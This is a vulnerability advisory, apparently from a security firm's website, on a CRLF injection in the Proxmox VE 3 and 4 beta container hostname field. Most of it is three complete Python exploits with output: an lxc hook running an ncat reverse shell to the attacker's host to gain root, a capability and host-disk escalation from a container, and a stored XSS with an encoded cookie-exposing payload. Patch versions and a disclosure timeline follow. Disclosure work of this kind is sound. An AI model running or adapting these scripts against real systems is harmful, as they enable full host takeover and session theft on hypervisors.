• CENTRE D’URGENCE | 24/7
  • Vous êtes victime d’une cyberattaque ?
  • Contactez notre centre d’urgence cyber :
  • +33 (0)1 83 07 00 06

Proxmox VE 3/4 Insecure Hostname Checking (Remote Root Exploit, XSS, Privileges escalation)

A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and Proxmox VE 4 beta 1 (LXC) in the virtual machine creating form allowing authenticated remote users to overwrite configuration files settings.

A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and Proxmox VE 4 beta 1 (LXC) in the
virtual machine creating form allowing authenticated remote users to overwrite configuration files settings.

Configuration file overwriting

Because the Proxmox VE application doesn’t check the
user-provided « hostname » POST parameter, it’s
possible to overwrite configuration files using a CRLF injection.
In Proxmox VE 3, we successfully gained access to the host filesystem from a container and elevated our container capabilities, allowing us to obtain user credentials and sniff the network.
In Proxmox VE 4b1, because LXC allows « hooks » to execute commands, we successfully gained root privileges on the host.
It’s also possible to exploit Proxmox clusters.

Access Vector: remote

Security Risk: high

Proof of Concept

The following exploit works for Proxmox VE 4 beta 1. The lxc.hook.pre-start configuration variable is used to trigger the ncat reverse-shell payload when the container is started.

#!/usr/bin/env python

import requests
import socket
import telnetlib
from threading import Thread
import argparse
from time import sleep

def exploit(target, username, password, vmid, template, realm, reverse, hostname):
    payload = "ncat %s %s -e /bin/sh" % reverse

    print "[~] Obtaining authorization key..."
    apireq = requests.post("https://%s/api2/extjs/access/ticket" % target,
                           verify=False,
                           data={"username": username,
                                 "password": password,
                                 "realm": realm})
    response = apireq.json()
    if "success" in response and response["success"]:
        print "[+] Authentication success."
        ticket = response["data"]["ticket"]
        csrfticket = response["data"]["CSRFPreventionToken"]
        createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),
                                 verify=False,
                                 headers={"CSRFPreventionToken": csrfticket},
                                 cookies={"PVEAuthCookie": ticket},
                                 data={"vmid": vmid,
                                       "hostname":"sysdream\nlxc.hook.pre-start=%s &&" % payload,
                                       "storage": "local",
                                       "password": "sysdream",
                                       "ostemplate": template,
                                       "memory": 512,
                                       "swap": 512,
                                       "disk": 2,
                                       "cpulimit": 1,
                                       "cpuunits": 1024,
                                       "net0":"name=eth0"})
        if createvm.status_code == 200:
            response = createvm.json()
            if "success" in response and response["success"]:
                print "[+] Container Created... (Sleeping 20 seconds)"
                sleep(20)
                print "[+] Starting container..."
                startcontainer = requests.post("https://%s/api2/extjs/nodes/%s/lxc/%s/status/start" % (target, hostname, vmid), verify=False, headers={"CSRFPreventionToken": csrfticket}, cookies={"PVEAuthCookie": ticket})
                if startcontainer.status_code == 200:
                    response = startcontainer.json()
                    if "success" in response and response["success"]:
                        print "[+] Exploit should be working..."
                    else:
                        print "[!] Can't start container ! Try to start it manually."
            else:
                print "[!] Error creating container..."
                print response
        else:
            print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code
    else:
        print "[!] Authentication failed - Check the credentials..."

def handler(lport):
    print "[~] Starting handler on port %d" % lport
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()

    print "[+] Connection from %s" % addr[0]

    t.sock = conn

    print "[+] Pop the shell ! :)"

    t.interact()

if __name__ == "__main__":
    print "[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"

    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)")

    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)

    parser.add_argument("--localhost", required=True, help="Local host IP for the connect-back shell.")
    parser.add_argument("--localport", required=True, type=int, help="Local port for local bind handler")

    parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.")

    parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
                        help="An existing template in the hypervisor "
                             "(default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")

    parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"])

    parser.add_argument("--hostname", required=True, help="The target hostname")

    args = parser.parse_args()

    handlerthr = Thread(target=handler, args=(args.localport,))
    handlerthr.start()

    exploitthr = Thread(target=exploit, args=(args.target, args.username, args.password, args.vmid, args.template, args.realm, (args.localhost, args.localport), args.hostname))
    exploitthr.start()

    handlerthr.join()

Shell output :

nightlydev@nworkstation ~/Lab/Proxmox_Exploits $ python remoteroot.py --target 10.25.0.101:8006 --username nicolas --password pveuser --localhost 10.25.0.10 --localport 9999 --vmid 456 --realm pve --hostname pve4
[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>
[~] Starting handler on port 9999
[~] Obtaining authorization key...
[+] Authentication success.
[+] Container Created... (Sleeping 20 seconds)
[+] Exploit should be working...
[+] Connection from 10.25.0.101
[+] Pop the shell !
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

The following exploit works for Proxmox VE 3. This proof of concept mount the host /dev/dm-0 on the container and add multiples capabilities on the container.

#!/usr/bin/env python

import requests
import socket
import telnetlib
from threading import Thread
import argparse

def exploit(target, username, password, vmid, template, realm, hostname):
    payload = "sysdream\"\nDEVNODES=\"dm-0:r \"\nCAPABILITIES=\"mknod:on, sys_chroot:on, sys_rawio: on, net_admin:on, dac_override:on\"\n#"
    print "[~] Obtaining authorization key..."
    apireq = requests.post("https://%s/api2/extjs/access/ticket" % target,
                           verify=False,
                           data={"username": username,
                                 "password": password,
                                 "realm": realm})
    response = apireq.json()
    if "success" in response and response["success"]:
        print "[+] Authentication success."
        ticket = response["data"]["ticket"]
        csrfticket = response["data"]["CSRFPreventionToken"]
        createvm = requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname),
                                 verify=False,
                                 headers={"CSRFPreventionToken": csrfticket},
                                 cookies={"PVEAuthCookie": ticket},
                                 data={"vmid": vmid,
                                       "hostname": payload,
                                       "storage": "local",
                                       "password": "sysdream",
                                       "ostemplate": template,
                                       "memory": 512,
                                       "swap": 512,
                                       "disk": 2,
                                       "cpus": 1,
                                       "netif":"ifname=eth0,bridge=vmbr0"})
        if createvm.status_code == 200:
            response = createvm.json()
            if "success" in response and response["success"]:
                print "[+] Countainer (Capabilities + DM-0 Mount) Created."
            else:
                print "[!] Error creating container..."
                print response
        else:
            print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code
    else:
        print "[!] Authentication failed - Check the credentials..."

if __name__ == "__main__":
    print "[~] Proxmox VE 3 Authenticated Privileges Escalation Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"

    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)")

    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)

    parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.")

    parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
                        help="An existing template in the hypervisor (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")

    parser.add_argument("--hostname", required=True, help="The target hostname")

    parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"])

    args = parser.parse_args()

    exploit(args.target, args.username, args.password, args.vmid, args.template, args.realm, args.hostname)

Shell output :

nightlydev@nworkstation ~/Lab/Proxmox_Exploits $ python privescalation.py --username root --password sysofdream --vmid 123 --realm pam --target 10.25.0.110:8006 --hostname pve3
[~] Proxmox VE 3 Authenticated Privileges Escalation Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>

[~] Obtaining authorization key...
[+] Authentication success.
[+] Countainer (Capabilities + DM-0 Mount) Created.

— On container :

root@sysdream:/# ls -lah /dev/dm-0
brw-r----T 1 root root 253, 0 Aug 23 00:33 /dev/dm-0

Stored Cross-Site Scripting

Same vulnerability, different usage. Works on Proxmox 3 and Proxmox 4b1.

Access Vector: remote

Security Risk: high

Proof of Concept

The following exploit will create a stored XSS displaying the user cookies and the PVE CSRFPreventionToken.

#!/usr/bin/env python

import requests
import socket
import telnetlib
from threading import Thread
import argparse

def exploit(target, username, password, vmid, template, realm, version, hostname):
    payload = "eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,45,34,32,43,32,80,86,69,46,67,83,82,70,80,114,101,118,101,110,116,105,111,110,84,111,107,101,110,41,59))"
    print "[~] Obtaining authorization key..."
    apireq = requests.post("https://%s/api2/extjs/access/ticket" % target,
                           verify=False,
                           data={"username": username,
                                 "password": password,
                                 "realm": realm})
    response = apireq.json()
    if "success" in response and response["success"]:
        print "[+] Authentication success."
        ticket = response["data"]["ticket"]
        csrfticket = response["data"]["CSRFPreventionToken"]
        if version == "4":
            createvm = requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),
                                     verify=False,
                                     headers={"CSRFPreventionToken": csrfticket},
                                     cookies={"PVEAuthCookie": ticket},
                                     data={"vmid": vmid,
                                           "hostname":"<img/src='x'/onerror=%s>" % payload,
                                           "storage": "local",
                                           "password": "sysdream",
                                           "ostemplate": template,
                                           "memory": 512,
                                           "swap": 512,
                                           "disk": 2,
                                           "cpulimit": 1,
                                           "cpuunits": 1024,
                                           "net0":"name=eth0"})
        elif version == "3":
               createvm = requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname),
                                     verify=False, headers={"CSRFPreventionToken": csrfticket},
                                     cookies={"PVEAuthCookie": ticket},
                                     data={"vmid": vmid,
                                           "hostname":"<img/src='x'/onerror=%s>" % payload,
                                           "storage": "local",
                                           "password": "sysdream",
                                           "ostemplate": template,
                                           "memory": 512,
                                           "swap": 512,
                                           "disk": 2,
                                           "cpus": 1,
                                           "netif":"ifname=eth0,bridge=vmbr0"})
        if createvm.status_code == 200:
            response = createvm.json()
            if "success" in response and response["success"]:
                print "[+] Stored XSS Created."
            else:
                print "[!] Error creating container..."
                print response
        else:
            print "[!] Error creating Container. Bad HTTP Status code : %d" % createvm.status_code
    else:
        print "[!] Authentication failed - Check the credentials..."

if __name__ == "__main__":
    print "[~] Proxmox VE 3/4b1 Stored Cross Site Scripting - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"

    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="The target host (eg : 10.0.0.1:8006)")

    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)

    parser.add_argument("--vmid", required=False, default="999", type=int, help="A unique ID for the container, exploit will fail if the ID already exists.")

    parser.add_argument("--template", required=False, default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
                        help="An existing template in the hypervisor (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")

    parser.add_argument("--realm", required=False, default="pam", choices=["pve", "pam"])

    parser.add_argument("--version", default="3", choices=["3", "4"], help="The Proxmox version to exploit")

    parser.add_argument("--hostname", required=True, help="The target hostname")

    args = parser.parse_args()

    exploit(args.target, args.username, args.password, args.vmid, args.template, args.realm, args.version, args.hostname)

Vulnerable code

The vulnerable code is located in the /usr/share/perl5/PVE/LXC.pm for Proxmox 4.

For Proxmox 3, the vulnerable code is located in /usr/share/perl5/PVE/OpenVZ.pm.

Solution

Proxmox 4 : Update to pve-container 0.9-22

Proxmox 3 : Update to pve-manager 3.4-10

Timeline (dd/mm/yyyy)

  • 04/09/2015 : Initial discovery.
  • 17/09/2015 : Contact with proxmox team.
  • 18/09/2015 : Proxmox fixes the vulnerabilities.
  • 18/09/2015 : Proxmox releases a new pve-container version (0.9-22)
  • 18/09/2015 : Proxmox releases a new pve-manager version (3.4-10)

Affected versions

  • Proxmox VE 4
  • Proxmox VE 3

Credits

  • Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)